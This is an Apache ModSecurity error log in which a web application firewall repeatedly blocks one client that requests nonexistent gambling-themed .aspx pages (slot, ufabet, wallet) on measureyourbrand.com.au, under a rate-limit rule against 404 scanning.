[Tue Apr 14 20:44:48.317249 2026] [:error] [pid 59985:tid 60006] [client 42.200.231.39:51455] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "ad42wOgHaxkvLE6V1kld9wAAAA0"]
[Tue Apr 14 20:44:48.876453 2026] [:error] [pid 22177:tid 22194] [client 42.200.231.39:37510] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "ad42wITVeJSXHDIlEDuAbgAAAQ8"]
[Tue Apr 14 20:44:51.003923 2026] [:error] [pid 3778:tid 3791] [client 42.200.231.39:5591] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "ad42wxx5DfpNmYF_PaHdNQAAAUs"]
[Tue Apr 14 20:44:51.530080 2026] [:error] [pid 3778:tid 3798] [client 42.200.231.39:36091] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "ad42wxx5DfpNmYF_PaHdOgAAAVI"]
[Tue Apr 14 20:44:54.087459 2026] [:error] [pid 59986:tid 60038] [client 42.200.231.39:28427] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "ad42xp6axKeW6bX4H7dlkAAAAFI"]
[Tue Apr 14 20:44:54.612019 2026] [:error] [pid 59987:tid 60048] [client 42.200.231.39:2263] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "ad42xlWpk-Tfi6_vLKouowAAAIE"]
[Tue Apr 14 20:44:56.787267 2026] [:error] [pid 59987:tid 60062] [client 42.200.231.39:37823] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "ad42yFWpk-Tfi6_vLKouqgAAAI8"]
[Tue Apr 14 20:44:57.307651 2026] [:error] [pid 59986:tid 60039] [client 42.200.231.39:43494] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "ad42yZ6axKeW6bX4H7dlmAAAAFM"]
[Tue Apr 14 20:44:59.418943 2026] [:error] [pid 59986:tid 60030] [client 42.200.231.39:50053] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "ad42y56axKeW6bX4H7dlpgAAAEo"]
[Tue Apr 14 20:44:59.960340 2026] [:error] [pid 22177:tid 22197] [client 42.200.231.39:59002] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "ad42y4TVeJSXHDIlEDuAcwAAARI"]
[Tue Apr 14 20:45:02.122540 2026] [:error] [pid 3810:tid 3837] [client 42.200.231.39:46537] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "ad42zsqc5XaYZhFXVGeShAAAAZg"]
[Tue Apr 14 20:45:02.667963 2026] [:error] [pid 3810:tid 3836] [client 42.200.231.39:3914] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "ad42zsqc5XaYZhFXVGeShgAAAZc"]
[Tue Apr 14 20:45:05.439173 2026] [:error] [pid 3778:tid 3788] [client 42.200.231.39:29538] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "ad420Rx5DfpNmYF_PaHdTwAAAUg"]
[Tue Apr 14 20:45:05.968757 2026] [:error] [pid 3810:tid 3819] [client 42.200.231.39:42775] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "ad420cqc5XaYZhFXVGeSiwAAAYY"]
[Tue Apr 14 20:45:08.101021 2026] [:error] [pid 3810:tid 3823] [client 42.200.231.39:45227] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "ad421Mqc5XaYZhFXVGeSkAAAAYo"]
[Tue Apr 14 20:45:08.624355 2026] [:error] [pid 60074:tid 60090] [client 42.200.231.39:61859] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "ad421OtqnEmNU9vpHCmYQwAAAM4"]
[Tue Apr 14 20:45:10.918044 2026] [:error] [pid 3810:tid 3832] [client 42.200.231.39:19502] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "ad421sqc5XaYZhFXVGeSngAAAZM"]
[Tue Apr 14 20:45:11.458158 2026] [:error] [pid 3810:tid 3822] [client 42.200.231.39:11317] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "ad4218qc5XaYZhFXVGeSnwAAAYk"]
[Tue Apr 14 20:45:13.918836 2026] [:error] [pid 3810:tid 3828] [client 42.200.231.39:10761] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "ad422cqc5XaYZhFXVGeSpgAAAY8"]
[Tue Apr 14 20:45:14.446360 2026] [:error] [pid 3810:tid 3825] [client 42.200.231.39:17437] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "ad422sqc5XaYZhFXVGeSqQAAAYw"]
[Tue Apr 14 20:45:16.670910 2026] [:error] [pid 3778:tid 3787] [client 42.200.231.39:62568] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "ad423Bx5DfpNmYF_PaHdVgAAAUc"]
[Tue Apr 14 20:45:17.219031 2026] [:error] [pid 3810:tid 3827] [client 42.200.231.39:39134] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "ad423cqc5XaYZhFXVGeSsgAAAY4"]
[Tue Apr 14 20:45:19.512029 2026] [:error] [pid 59985:tid 59993] [client 42.200.231.39:62420] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "ad423-gHaxkvLE6V1kleAgAAAAA"]
[Tue Apr 14 20:45:20.038037 2026] [:error] [pid 59986:tid 60029] [client 42.200.231.39:14842] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "ad424J6axKeW6bX4H7dluAAAAEk"]
[Tue Apr 14 20:45:41.595024 2026] [:error] [pid 59986:tid 60021] [client 42.200.231.39:38994] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "ad429Z6axKeW6bX4H7dmAwAAAEE"]
[Tue Apr 14 20:45:42.144813 2026] [:error] [pid 59987:tid 60064] [client 42.200.231.39:50017] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "ad429lWpk-Tfi6_vLKouvgAAAJE"]
[Tue Apr 14 20:45:42.698451 2026] [:error] [pid 59986:tid 60022] [client 42.200.231.39:3009] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "ad429p6axKeW6bX4H7dmBAAAAEI"]
[Tue Apr 14 20:45:45.166885 2026] [:error] [pid 59986:tid 60023] [client 42.200.231.39:39051] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "ad42-Z6axKeW6bX4H7dmCgAAAEM"]
[Tue Apr 14 20:45:45.687947 2026] [:error] [pid 60074:tid 60079] [client 42.200.231.39:35611] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "ad42-etqnEmNU9vpHCmYUwAAAMM"]
[Tue Apr 14 20:45:47.823972 2026] [:error] [pid 22177:tid 22195] [client 42.200.231.39:43709] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "ad42-4TVeJSXHDIlEDuAjgAAARA"]
[Tue Apr 14 20:45:48.343513 2026] [:error] [pid 59986:tid 60038] [client 42.200.231.39:13371] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "ad42_J6axKeW6bX4H7dmEQAAAFI"]
[Tue Apr 14 20:45:50.470280 2026] [:error] [pid 22177:tid 22192] [client 42.200.231.39:55339] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "ad42_oTVeJSXHDIlEDuAkAAAAQ0"]
[Tue Apr 14 20:45:51.011129 2026] [:error] [pid 3810:tid 3836] [client 42.200.231.39:10728] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "ad42_8qc5XaYZhFXVGeS7QAAAZc"]
[Tue Apr 14 20:45:53.172439 2026] [:error] [pid 3778:tid 3804] [client 42.200.231.39:33068] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "ad43ARx5DfpNmYF_PaHddAAAAVg"]
[Tue Apr 14 20:45:53.688149 2026] [:error] [pid 59986:tid 60024] [client 42.200.231.39:1936] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "ad43AZ6axKeW6bX4H7dmGgAAAEQ"]
[Tue Apr 14 20:45:55.810849 2026] [:error] [pid 60074:tid 60089] [client 42.200.231.39:41416] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "ad43A-tqnEmNU9vpHCmYYgAAAM0"]
[Tue Apr 14 20:45:56.329752 2026] [:error] [pid 59986:tid 60021] [client 42.200.231.39:36781] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "ad43BJ6axKeW6bX4H7dmHAAAAEE"]
[Tue Apr 14 20:45:59.089284 2026] [:error] [pid 3810:tid 3823] [client 42.200.231.39:29063] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "ad43B8qc5XaYZhFXVGeS9gAAAYo"]
[Tue Apr 14 20:45:59.821633 2026] [:error] [pid 3810:tid 3825] [client 42.200.231.39:52243] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "ad43B8qc5XaYZhFXVGeS-QAAAYw"]
[Tue Apr 14 20:46:02.358791 2026] [:error] [pid 59986:tid 60026] [client 42.200.231.39:35918] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "ad43Cp6axKeW6bX4H7dmIQAAAEY"]
[Tue Apr 14 20:46:02.876533 2026] [:error] [pid 59985:tid 60008] [client 42.200.231.39:3718] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "ad43CugHaxkvLE6V1kleSQAAAA8"]
[Tue Apr 14 20:46:04.908915 2026] [:error] [pid 3810:tid 3833] [client 42.200.231.39:14083] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "ad43DMqc5XaYZhFXVGeTAgAAAZQ"]
[Tue Apr 14 20:46:05.424992 2026] [:error] [pid 3810:tid 3830] [client 42.200.231.39:4619] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "ad43Dcqc5XaYZhFXVGeTBgAAAZE"]
[Tue Apr 14 20:46:07.550461 2026] [:error] [pid 3810:tid 3832] [client 42.200.231.39:9899] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "ad43D8qc5XaYZhFXVGeTEgAAAZM"]
[Tue Apr 14 20:46:08.096784 2026] [:error] [pid 3810:tid 3835] [client 42.200.231.39:37762] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "ad43EMqc5XaYZhFXVGeTGQAAAZY"]
[Tue Apr 14 20:46:11.290776 2026] [:error] [pid 59986:tid 60029] [client 42.200.231.39:27085] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "ad43E56axKeW6bX4H7dmNAAAAEk"]
[Tue Apr 14 20:46:11.839339 2026] [:error] [pid 59986:tid 60027] [client 42.200.231.39:59395] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "ad43E56axKeW6bX4H7dmOgAAAEc"]
[Tue Apr 14 20:46:13.998032 2026] [:error] [pid 22177:tid 22179] [client 42.200.231.39:13686] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "ad43FYTVeJSXHDIlEDuAoQAAAQA"]
[Tue Apr 14 20:46:14.514669 2026] [:error] [pid 59987:tid 60068] [client 42.200.231.39:24591] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "ad43FlWpk-Tfi6_vLKou0wAAAJU"]
[Tue Apr 14 20:46:16.632253 2026] [:error] [pid 59986:tid 60042] [client 42.200.231.39:23503] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "ad43GJ6axKeW6bX4H7dmSgAAAFY"]
[Tue Apr 14 20:46:17.157982 2026] [:error] [pid 59986:tid 60038] [client 42.200.231.39:42481] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "ad43GZ6axKeW6bX4H7dmTAAAAFI"]
[Tue Apr 14 20:46:19.481370 2026] [:error] [pid 22177:tid 22188] [client 42.200.231.39:1392] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "ad43G4TVeJSXHDIlEDuApwAAAQk"]
[Tue Apr 14 20:46:20.026569 2026] [:error] [pid 22177:tid 22180] [client 42.200.231.39:39301] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "ad43HITVeJSXHDIlEDuAqQAAAQE"]
[Tue Apr 14 20:46:22.649158 2026] [:error] [pid 59986:tid 60024] [client 42.200.231.39:60451] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "ad43Hp6axKeW6bX4H7dmWwAAAEQ"]
